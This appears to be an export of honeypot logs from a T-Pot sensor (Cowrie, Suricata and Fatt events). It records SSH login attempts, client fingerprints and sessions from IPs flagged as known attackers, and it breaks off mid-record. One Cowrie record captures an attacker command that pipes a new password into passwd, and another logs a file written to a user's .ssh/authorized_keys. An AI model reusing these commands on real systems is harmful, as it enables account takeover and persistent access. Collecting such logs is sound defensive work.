\N	\N
32912	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:55.586721+03	2021-09-20 15:00:04.078723+03	{"_id": "2wYOA3wBvYTbRNuEOEyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "41cec716c947", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:53:55.586721Z", "@timestamp": "2021-09-20T11:53:55.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32913	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:56.828279+03	2021-09-20 15:00:04.079722+03	{"_id": "3QYOA3wBvYTbRNuEPEyO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "41cec716c947", "@version": "1", "duration": 2.5163793563842773, "timestamp": "2021-09-20T11:53:56.828279Z", "@timestamp": "2021-09-20T11:53:56.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32914	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:57.675551+03	2021-09-20 15:00:04.080722+03	{"_id": "3gYOA3wBvYTbRNuEQEx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "189.50.42.214", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "373281d7e10b", "@version": "1", "destfile": "/home/itaya/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:53:57.675551Z", "@timestamp": "2021-09-20T11:53:57.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
32915	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.498548+03	2021-09-20 15:00:04.081722+03	{"_id": "7wYOA3wBvYTbRNuERExg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "189.50.42.214", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46837329864501953, "duplicate": true, "timestamp": "2021-09-20T11:53:58.498548Z", "@timestamp": "2021-09-20T11:53:58.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32961	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:59.718229+03	2021-09-20 15:00:04.140753+03	{"_id": "DQYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:59.718229Z", "@timestamp": "2021-09-20T11:53:59.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32916	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.870903+03	2021-09-20 15:00:04.083722+03	{"_id": "9gYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "echo -e \\"itaya\\\\nWssCTnkWNktg\\\\nWssCTnkWNktg\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"itaya\\\\nWssCTnkWNktg\\\\nWssCTnkWNktg\\"|passwd|bash", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:58.870903Z", "@timestamp": "2021-09-20T11:53:58.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32917	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.87253+03	2021-09-20 15:00:04.084722+03	{"_id": "9AYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:58.872530Z", "@timestamp": "2021-09-20T11:53:58.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
32918	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:53:58.979114+03	2021-09-20 15:00:04.085722+03	{"_id": "-gYOA3wBvYTbRNuERUzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 684254700130361, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59866, "dest_port": 22, "timestamp": "2021-09-20T11:53:58.979114Z", "@timestamp": "2021-09-20T11:53:58.979Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32919	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:53:59.217959+03	2021-09-20 15:00:04.086722+03	{"_id": "_AYOA3wBvYTbRNuERkzV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 58490, "dest_port": 22, "timestamp": "2021-09-20T11:53:59.217959", "@timestamp": "2021-09-20T11:53:59.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32920	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:59.048947+03	2021-09-20 15:00:04.087722+03	{"_id": "_QYOA3wBvYTbRNuERkzV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58490, "timestamp": "2021-09-20T11:53:59.048947", "@timestamp": "2021-09-20T11:53:59.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32921	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:53:59.218609+03	2021-09-20 15:00:04.089722+03	{"_id": "BgYOA3wBvYTbRNuESE1J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "e4b171a13baf", "@version": "1", "timestamp": "2021-09-20T11:53:59.218609Z", "@timestamp": "2021-09-20T11:53:59.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32922	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:52.572964+03	2021-09-20 15:00:04.090723+03	{"_id": "tQYOA3wBvYTbRNuELEzu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "373281d7e10b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:52.572964Z", "@timestamp": "2021-09-20T11:53:52.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32923	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:52.81708+03	2021-09-20 15:00:04.091722+03	{"_id": "tgYOA3wBvYTbRNuELEzw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:52.817080Z", "@timestamp": "2021-09-20T11:53:52.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32924	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:53:52.816114+03	2021-09-20 15:00:04.092722+03	{"_id": "twYOA3wBvYTbRNuELkxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 872543918497088, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57052, "dest_port": 22, "timestamp": "2021-09-20T11:53:52.816114Z", "@timestamp": "2021-09-20T11:53:52.816Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32925	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:53:52.816454+03	2021-09-20 15:00:04.093722+03	{"_id": "uAYOA3wBvYTbRNuELkxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:52.335168+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 872543918497088, "payload": "AAADzAYUYY69CXNsFE3ARiaJs+zJrwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57052, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:52.816454Z", "@timestamp": "2021-09-20T11:53:52.816Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......a...sl.M.F&........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32926	189.50.42.214	109.199.241.180	Fatt	2021-09-20 14:53:52.816454+03	2021-09-20 15:00:04.095723+03	{"_id": "uQYOA3wBvYTbRNuEL0xi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 